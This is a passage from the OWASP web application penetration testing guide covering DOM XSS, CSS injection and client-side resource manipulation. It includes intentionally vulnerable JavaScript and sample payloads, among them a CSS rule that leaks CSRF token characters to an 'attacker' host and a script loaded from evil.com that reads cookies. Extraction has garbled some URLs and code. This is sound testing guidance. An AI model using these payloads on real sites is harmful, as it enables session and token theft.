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192 Web Application Penetration Testing Note how, if the vulnerable code is the following var redir = location.hash.substring(1); if (redir) window.location=decodeURIComponent(redir); It also could be possible to inject JavaScript code, for example by submitting the following query string: http: /www.victim.site/?#javascript:alert(document.cookie) When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/ Tools • DOMinator - https://dominator.mindedsecurity.com/ References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS.com - http://www.domxss.com Whitepapers • Browser location/document URI/URL Sources - https://code google.com/p/domxsswiki/wiki/LocationSources • i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location. href, etc. • Krzysztof Kotowicz: “Local or Externa? Weird URL formats on the loose” - http://kotowicz.net/absolute/ Testing for CSS Injection (OTG-CLIENT-005) Summary A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim’s browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications. How to Test Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided. The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the “cssText” function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section “Style Sinks”. Click me if (location.hash.slice(1)) { document.getElementById(“a1”).style.cssText = “color: “ + location.hash.slice(1); } Specifically the attacker could target the victim by asking her to visit the following URLs: • www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-linksource:current; (Opera [8,12]) • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8) The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following: p { color: ; text-align: center; } Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with the attribute “name” set “csrf_token” and whose attribute “value” starts with “a”. By detecting the length of the attribute “value”, it is possible to carry out a brute force attack against it and send its value to the attacker’s domain. input[name=csrf_token][value=^a] { background-image: url(http: /attacker/log?a); } Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details. Black Box testing We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like “link” and “style” should be disallowed, as well
193 Web Application Penetration Testing as attributes “style”. Gray Box testing Testing for CSS Injection vulnerabilities: Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. The following is a basic example: Click me Hi $(“a”).click(function(){ $(“b”).attr(“style”,”color: “ + location.hash.slice(1)); }); The above code contains a source “location.hash” that is controlled by the attacker that can inject directly in the attribute “style” of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. Click me Hi $(“a”).click(function(){ $(“b”).css(“color”,location.hash.slice(1)); }); • Password “cracker” via CSS and HTML5 - http://html5sec.org invalid/?length=25 • CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/ Testing for Client Side Resource Manipulation (OTG-CLIENT-006) Summary A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XM- LHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks. How to Test Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application’s behavior in the sense of making it load and render malicious objects. The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the attribute “src” of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site. var d=document.createElement(“script”); if(location.hash.slice(1)) d.src = location.hash.slice(1); document.body.appendChild(d); Specifically the attacker could target the victim by asking her to visit the following URL: www.victim.com/#http: /evil.com/js.js References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki CssText Presentations • DOM Xss Identification and Exploitation, Stefano Di Paola http://dominator.googlecode.com/files/DOMXss_ Identification_and_exploitation.pdf • Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/ watch?v=FIQvAaZj_HA • Bypassing Content-Security-Policy, Alex Kouzemtchenko http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx Proof of Concepts Where js.js contains: alert(document.cookie) Controlling scripts’ sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. Refer to the following vulnerable code:
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